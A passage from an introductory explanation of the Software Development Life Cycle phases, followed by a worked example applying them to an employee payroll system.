Here, the timeline to finish the project is finalized
Feasibility Study
In this stage, the SRS document, that is “Software Requirement Specification” document is defined, which includes everything to be designed and developed during the life cycle of a project
Design
In this phase as the name indicates, software and system design documents are prepared, based on the requirement specification document
This enable us to define the whole system architecture
Two types of design documents are prepared in this phase as follows,
High-Level Design
Low-Level Design
Coding
In this phase, the coding of project is done in a selected programming language
Tasks are divided into many units and given to various developers
It is the longest phase in the SDLC
Testing
In this stage, the developed coding is tested by the testing team
The testing team, checks the coding in the user point of view
Installation/Deployment
In this stage, a product is released by the company to the client
Maintenance
Once the product is delivered to the client, the maintenance phase work will start by fixing errors, modifying and enhancing the product.
Employee Payroll System
Requirement analysis
Gather information from various team for requirement
Analyze the number of employees to handle the project
Timeline to finish the project, eg.1 month
Feasibility Study
The system requirements such as how many systems are required
Decide which software to be installed to handle the project.
For example, if we are going to develop the software using C language, then software for that has to be installed
The SRS document has to be prepared
Design
In this the HLD and LLD is prepared, the overall software architecture is prepared
The modules involved in coding are decided
Here the modules can be employee, payroll manager, Employee Log time, account details
The input and output are designed, such as employee name is the input and output is the salary for him, based on working hours
Coding
Here the coding is divided into various sections and given to 2 or more employees
One may code employee detail, one will code working hours of employees and one may code the banking details of employee
Testing
The coding is tested for syntax, declaration, data types and various kinds of error
The testing team will test the coding with various possible values
They may even check with wrong values and analyze the output for that
Installation
Now the software is installed in the client system and the client is calculating the payroll for an employee based on working hours in a month
Maintenance
If any error occurs, the team will clear the issue.
When a new employee joins, then the employee data will added to the database and the database is updated
Also if the client asks for any new features, it will done in this phase.